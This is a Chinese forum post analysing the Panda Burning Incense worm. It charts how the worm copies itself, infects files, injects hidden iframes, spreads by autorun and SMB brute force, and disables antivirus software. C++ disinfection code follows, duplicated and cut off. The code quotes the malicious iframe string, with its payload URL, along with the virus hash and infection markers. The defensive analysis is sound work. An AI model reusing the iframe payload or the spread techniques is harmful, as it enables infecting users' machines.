首页
社区
课程
招聘
[原创]熊猫烧香 病毒流程分析 附 感染文件修复源码
发表于: 2020-11-13 08:17 10209

[原创]熊猫烧香 病毒流程分析 附 感染文件修复源码

2020-11-13 08:17
10209

首先判断自己是不是被感染文件病毒感染文件时会将文件结尾的1作为标记

先判断自己的执行路径是否位于%SYSTEMROOT%\\System32\\drivers

首先是一个函数,<u>猜测是通过当前IP地址和掩码来构造一个IP迭代器</u>

image-20201106195220546

连上了以后会构造一个带\\的IP地址传参进一个函数

​ 这个函数内设置了5个计时器……分别有不同的作用,但是其中又有很多相同的。

其中会冒充QQ访问解码出来的URL后读取内容并进行了一个拼接

根据代码猜测文件格式应该是一个类似链表的东西,可以通过更改文件来更改下载的次数/r/n后应该是剩余的文件个数

感觉可能是用于避免重复感染

访问的几个URL为

进程结束用的taskkill
杀毒用的MD5

graph TD
A[加密字符串解密并对比] -->B[自我复制至Drivers目录并执行]
    B --> D[判断是否是被感染文件启动的]
    D[病毒传播] -->E[本地传播]
    D -->F[可移动介质传播]   
    D -->G[网络传播]
 
    E -->file{是否文件}
    file -->|可执行文件|PE[文件附加]
    file -->|网页文件|WEB[添加iframe控件]
    F --> disk[添加自动播放配置]
    G --> net[使用多个线程]
    netThread[网络传播线程] --> connect[弱密码爆破139/445端口]
    connect --> traverse[遍历共享资源]
    traverse --> copy[自我复制远程目录/尝试遍历感染]
    copy --> 使用远程创建计划任务运行病毒
 
       disk --> Z[下载文件和维持控制]
       net --> Z
       PE --> Z
       WEB --> Z
 
       Z --> 操作注册表以自启动和系统保护
       --> 创建线程下载并运行文件
       --> 关闭所有盘的共享属性
       --> 对特定的安全软件,破坏其注册表键值和服务
       --> 访问几个网站,可能意图DDOS
graph TD
A[加密字符串解密并对比] -->B[自我复制至Drivers目录并执行]
    B --> D[判断是否是被感染文件启动的]
    D[病毒传播] -->E[本地传播]
    D -->F[可移动介质传播]   
    D -->G[网络传播]
 
    E -->file{是否文件}
    file -->|可执行文件|PE[文件附加]
    file -->|网页文件|WEB[添加iframe控件]
    F --> disk[添加自动播放配置]
    G --> net[使用多个线程]
    netThread[网络传播线程] --> connect[弱密码爆破139/445端口]
    connect --> traverse[遍历共享资源]
    traverse --> copy[自我复制远程目录/尝试遍历感染]
    copy --> 使用远程创建计划任务运行病毒
 
       disk --> Z[下载文件和维持控制]
       net --> Z
       PE --> Z
       WEB --> Z
 
       Z --> 操作注册表以自启动和系统保护
       --> 创建线程下载并运行文件
       --> 关闭所有盘的共享属性
       --> 对特定的安全软件,破坏其注册表键值和服务
       --> 访问几个网站,可能意图DDOS
http://www.tom.com
http://www.163.com
http://www.sohu.com
http://www.yahoo.com
http://www.google.com
http://www.tom.com
http://www.163.com
http://www.sohu.com
http://www.yahoo.com
http://www.google.com
#include <afxwin.h>
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <openssl\md5.h>
#pragma comment(lib, "libcrypto.lib")
 
#define WEB_FILE 7894
#define PE_FILE 7895
#define NOPE 7896
 
CStringList repairFileList;
CStringList virusFileList;
 
// ---- md5摘要哈希 ---- //   
void md5(char* data,int dataSize, CString& encodedHexStr)
{
    // 调用md5哈希   
    unsigned char mdStr[33] = { 0 };
    MD5((const unsigned char*)data, dataSize, mdStr);
 
    // 哈希后的字符串   
    // encodedStr = CString((const char*)mdStr);
    // 哈希后的十六进制串 32字节   
    char buf[65] = { 0 };
    char tmp[3] = { 0 };
    for (int i = 0; i < 32; i++)
    {
        sprintf_s(tmp,3, "%02x", mdStr[i]);
        strcat_s(buf, 65, tmp);
    }
    buf[32] = '\0'; // 后面都是0,从32字节截断   
    encodedHexStr = CString(buf);
}
 
int needRepair(CString filename) {
    const CHAR* needRepairPE[] = { _T("EXE"), _T("SCR"), _T("PIF"), _T("COM") };
    const CHAR* needRepairWEB[] = { _T("HTM"),_T("HTML"),_T("PHP"),_T("JSP"),_T("ASPX") };
 
    int pos = filename.ReverseFind(L'.');
    CString type = filename.Mid(pos + 1, filename.GetLength() - pos - 1);
    type = type.MakeUpper();
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (type == needRepairPE[i])
            return PE_FILE;
        else if (type == needRepairWEB[i])
            return WEB_FILE;
    }
    if (type == needRepairWEB[4])
        return WEB_FILE;
 
    return NOPE;
}
 
bool determineVirusAndDel(CFile& file,int fileSize) {
    if (fileSize < 1)
        return false;
    //MD5判断是否是病毒文件
    char* fileBuff = new char[fileSize];
    file.Read(fileBuff, fileSize);
 
    CString virusMd5("5139678039712d35987ecdafc4dd8ecc");
    CString outMd5 = CString();
    md5(fileBuff, fileSize, outMd5);
 
    if (outMd5 == virusMd5) {
        _tprintf(_T("[ × 删除病毒] "));
        CString path = file.GetFilePath();
        file.Close();
        virusFileList.AddTail(file.GetFileName());
        CFile::Remove(path);
        delete[] fileBuff;
        return true;
    }
    else {
        delete[] fileBuff;
        return false;
    }
}
 
int rMemSearch(char* buff, int buffSize,const char* str,int strSize) {
    for (size_t i = buffSize; i > 0 ; i--)
    {
        char* findBuff = buff + i;
        if (!memcmp(findBuff, str, strSize)) {
            return i;
        }
    }
    return -1;
}
 
bool determineboshitAndDel(CFile& file) {
    const CHAR* needRepairPE[] = { _T("Desktop_.ini"), _T("autorun.inf")};
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (file.GetFileName() == needRepairPE[i]) {
            file.Close();
            CFile::Remove(file.GetFilePath());
            _tprintf(_T("[ × 删除病毒释放文件] "));
            return true;
        }
    }
    return false;
}
 
void traversePath(const TCHAR* dir) {
 
    TCHAR path[MAX_PATH] = { 0 };
    _stprintf_s(path, MAX_PATH, _T("%s\\*"), dir);
 
    HANDLE hFind = INVALID_HANDLE_VALUE;
    WIN32_FIND_DATA findData = { 0 };
 
    hFind = FindFirstFile(path, &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("[没有文件]\n"));
        return;
    }
 
    do {
 
        // 如果是当前目录和上层目录,不能继续递归.
        if (_tcscmp(findData.cFileName, _T(".")) == 0
            || _tcscmp(findData.cFileName, _T("..")) == 0)
        {
            continue;
        }
 
        _stprintf_s(path, MAX_PATH, _T("%s\\%s"),
            dir,
            findData.cFileName);
 
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            _tprintf(_T("[目录] "));
            // 递归遍历
            traversePath(path);
        }
        else {
            CFile file;
            if (!file.Open(path, CFile::modeReadWrite))
                continue;
 
            DWORD fileSize = file.GetLength();
 
            if (fileSize > 0xA00000)
                continue;
            else if (fileSize < 1)
                continue;
 
            //判断是否是病毒吐出的指定文件并删除
            if (determineboshitAndDel(file)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            //判断是否病毒并直接杀掉
            if (determineVirusAndDel(file, fileSize)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            int fileType = needRepair(findData.cFileName);
            switch (fileType)
            {
            case PE_FILE: {
 
                //读取最后一个字节
                file.Seek(-1, CFile::end);
                char lastBit;
                file.Read(&lastBit, 1);
 
                if (lastBit == 1) {
                    //读取文件尾内容
                    file.Seek(-MAX_PATH, CFile::end);
                    char* fileEnd = new char[MAX_PATH]{0};
                    UINT readed = file.Read(fileEnd, MAX_PATH);
                    int signPos = rMemSearch(fileEnd, MAX_PATH, "WhBoy",5);
                    if (signPos != -1) {
                        //找到WhBoy说明的确被感染
                        int fileNamePos = signPos + 5;
                        int number2Pos = rMemSearch(fileEnd, MAX_PATH, "\2",1);
                        int sizePos = number2Pos + 1;
                        //获取大小
                        int sourceFileSize = _ttoi(fileEnd + sizePos);
 
                        //获取文件
                        char* sourceFile = new char[fileSize]{0};
                        file.Seek(0, CFile::begin);
                        file.Read(sourceFile, fileSize);
 
                        //写入文件
                        char* end = sourceFile + fileSize;
                        file.SetLength(sourceFileSize);
                        file.Seek(0, CFile::begin);
                        file.Write(((end - MAX_PATH) + signPos) - sourceFileSize - 1, sourceFileSize);
                        repairFileList.AddTail(file.GetFileName());
                        delete[] sourceFile;
                        _tprintf(_T("[ √ 修复被感染文件] "));
                    }
                    delete[] fileEnd;
                }
            }break;
            case WEB_FILE: {
                char* fileBuff = new char[fileSize];
                file.Seek(0, CFile::begin);
                file.Read(fileBuff, fileSize);
 
                char iframe[] = { _T("<iframe src=http://www.ac86.cn/66/index.htm width=\"0\" height=\"0\"></iframe>") };
                int iframeSize = _countof(iframe)-1;
                int pos = rMemSearch(fileBuff, fileSize, iframe, iframeSize);
                if (pos != -1) {
                    file.Write(fileBuff, pos);
                    file.SetLength(pos);
                    _tprintf(_T("[ √ 修复WEB文件] "));
                }
 
                delete[] fileBuff;
            }break;
            case NOPE: {
                _tprintf(_T("[〇未感染文件] "));
            }break;
            }
            file.Close();
        }
 
        _tprintf(_T("%s\n"), path);
 
    } while (FindNextFile(hFind, &findData));
}
 
void traverseAllDrives() {
    for (char a = 'A'; a <= 'Z'; a++) {
        UINT driveType = 0;
        CHAR rootPath[MAX_PATH] = { 0 };
        sprintf_s(rootPath,MAX_PATH,_T("%c:"), a);
        driveType = GetDriveType(rootPath);
        if (driveType != DRIVE_NO_ROOT_DIR)                  // DRIVE_NO_ROOT_DIR: 路径无效 
        {
            traversePath(rootPath);
        }
    }
    //打印修复文件和删除文件列表
    CString fileName;
    POSITION rPos;
    rPos = virusFileList.GetHeadPosition();
    while (rPos != NULL)
    {
        fileName = virusFileList.GetNext(rPos);
        _tprintf(_T("删除病毒文件:%s\n"), fileName.GetBuffer());
    }
    rPos = repairFileList.GetHeadPosition();
    while (rPos != NULL)
    {
        fileName = repairFileList.GetNext(rPos);
        _tprintf(_T("修复文件:%s\n"), fileName.GetBuffer());
    }
}
 
bool delAutoRunAndProtect() {
    HKEY hKey;
    bool result = true;
    if (RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey) == ERROR_SUCCESS)
    {
        RegDeleteValue(hKey, "svcshare");
        RegCloseKey(hKey);
    }
    else result = false;
    if (RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL", &hKey) == ERROR_SUCCESS)
    {
        int value = 1;
        RegSetKeyValue(hKey, "CheckedValue", 0, REG_DWORD, &value, 4);
        RegCloseKey(hKey);
    }
    else result = false;
    return result;
}
 
int main()
{
 
    //setlocale(LC_ALL, "Chinese");
    system("mode con cols=150 lines=50");
    if (!delAutoRunAndProtect()) {
        _tprintf_s("删除病毒注册表失败,请手动清理注册表项:\n");
        _tprintf_s("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 中的未知文件\n");
        _tprintf_s("更改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue 为一\n");
    }
    //比较暴力的关闭进程
    system("taskkill /f /t /im spo0lsv.exe");
    traverseAllDrives();
    //traversePath("C:\\Windows\\System32\\drivers");
    system("pause");
}
#include <afxwin.h>
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <openssl\md5.h>
#pragma comment(lib, "libcrypto.lib")
 
#define WEB_FILE 7894
#define PE_FILE 7895
#define NOPE 7896
 
CStringList repairFileList;
CStringList virusFileList;
 
// ---- md5摘要哈希 ---- //   
void md5(char* data,int dataSize, CString& encodedHexStr)
{
    // 调用md5哈希   
    unsigned char mdStr[33] = { 0 };
    MD5((const unsigned char*)data, dataSize, mdStr);
 
    // 哈希后的字符串   
    // encodedStr = CString((const char*)mdStr);
    // 哈希后的十六进制串 32字节   
    char buf[65] = { 0 };
    char tmp[3] = { 0 };
    for (int i = 0; i < 32; i++)
    {
        sprintf_s(tmp,3, "%02x", mdStr[i]);
        strcat_s(buf, 65, tmp);
    }
    buf[32] = '\0'; // 后面都是0,从32字节截断   
    encodedHexStr = CString(buf);
}
 
int needRepair(CString filename) {
    const CHAR* needRepairPE[] = { _T("EXE"), _T("SCR"), _T("PIF"), _T("COM") };
    const CHAR* needRepairWEB[] = { _T("HTM"),_T("HTML"),_T("PHP"),_T("JSP"),_T("ASPX") };
 
    int pos = filename.ReverseFind(L'.');
    CString type = filename.Mid(pos + 1, filename.GetLength() - pos - 1);
    type = type.MakeUpper();
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (type == needRepairPE[i])
            return PE_FILE;
        else if (type == needRepairWEB[i])
            return WEB_FILE;
    }
    if (type == needRepairWEB[4])
        return WEB_FILE;
 
    return NOPE;
}
 
bool determineVirusAndDel(CFile& file,int fileSize) {
    if (fileSize < 1)
        return false;
    //MD5判断是否是病毒文件
    char* fileBuff = new char[fileSize];
    file.Read(fileBuff, fileSize);
 
    CString virusMd5("5139678039712d35987ecdafc4dd8ecc");
    CString outMd5 = CString();
    md5(fileBuff, fileSize, outMd5);
 
    if (outMd5 == virusMd5) {
        _tprintf(_T("[ × 删除病毒] "));
        CString path = file.GetFilePath();
        file.Close();
        virusFileList.AddTail(file.GetFileName());
        CFile::Remove(path);
        delete[] fileBuff;
        return true;
    }
    else {
        delete[] fileBuff;
        return false;
    }
}
 
int rMemSearch(char* buff, int buffSize,const char* str,int strSize) {
    for (size_t i = buffSize; i > 0 ; i--)
    {
        char* findBuff = buff + i;
        if (!memcmp(findBuff, str, strSize)) {
            return i;
        }
    }
    return -1;
}
 
bool determineboshitAndDel(CFile& file) {
    const CHAR* needRepairPE[] = { _T("Desktop_.ini"), _T("autorun.inf")};
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (file.GetFileName() == needRepairPE[i]) {
            file.Close();
            CFile::Remove(file.GetFilePath());
            _tprintf(_T("[ × 删除病毒释放文件] "));
            return true;
        }
    }
    return false;
}
 
void traversePath(const TCHAR* dir) {
 
    TCHAR path[MAX_PATH] = { 0 };
    _stprintf_s(path, MAX_PATH, _T("%s\\*"), dir);
 
    HANDLE hFind = INVALID_HANDLE_VALUE;
    WIN32_FIND_DATA findData = { 0 };
 
    hFind = FindFirstFile(path, &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("[没有文件]\n"));
        return;
    }
 
    do {
 
        // 如果是当前目录和上层目录,不能继续递归.
        if (_tcscmp(findData.cFileName, _T(".")) == 0
            || _tcscmp(findData.cFileName, _T("..")) == 0)
        {
            continue;
        }
 
        _stprintf_s(path, MAX_PATH, _T("%s\\%s"),
            dir,
            findData.cFileName);
 
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            _tprintf(_T("[目录] "));
            // 递归遍历
            traversePath(path);
        }
        else {
            CFile file;
            if (!file.Open(path, CFile::modeReadWrite))
                continue;
 
            DWORD fileSize = file.GetLength();
 
            if (fileSize > 0xA00000)
                continue;
            else if (fileSize < 1)
                continue;
 
            //判断是否是病毒吐出的指定文件并删除
            if (determineboshitAndDel(file)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            //判断是否病毒并直接杀掉
            if (determineVirusAndDel(file, fileSize)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            int fileType = needRepair(findData.cFileName);
            switch (fileType)
            {
            case PE_FILE: {
 
                //读取最后一个字节
                file.Seek(-1, CFile::end);
                char lastBit;
                file.Read(&lastBit, 1);
 
                if (lastBit == 1) {
                    //读取文件尾内容
                    file.Seek(-MAX_PATH, CFile::end);
                    char* fileEnd = new char[MAX_PATH]{0};
                    UINT readed = file.Read(fileEnd, MAX_PATH);
                    int signPos = rMemSearch(fileEnd, MAX_PATH, "WhBoy",5);
                    if (signPos != -1) {
                        //找到WhBoy说明的确被感染
                        int fileNamePos = signPos + 5;
                        int number2Pos = rMemSearch(fileEnd, MAX_PATH, "\2",1);
                        int sizePos = number2Pos + 1;
                        //获取大小
                        int sourceFileSize = _ttoi(fileEnd + sizePos);
 
                        //获取文件
                        char* sourceFile = new char[fileSize]{0};

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-2-12 14:21 被kanxue编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (3)
雪    币: 400
活跃值: (3943)
能力值: ( LV8,RANK:155 )
在线值:
发帖
回帖
粉丝
2
清晰明了,优秀
2021-3-15 17:51
0
雪    币: 2089
活跃值: (3933)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
总结:避免感染的方法就是禁用优盘、软盘里面的autorun配置,打开资源管理器的隐藏文件夹、扩展名显示。
2021-3-16 11:22
0
游客
登录 | 注册 方可回帖
返回
//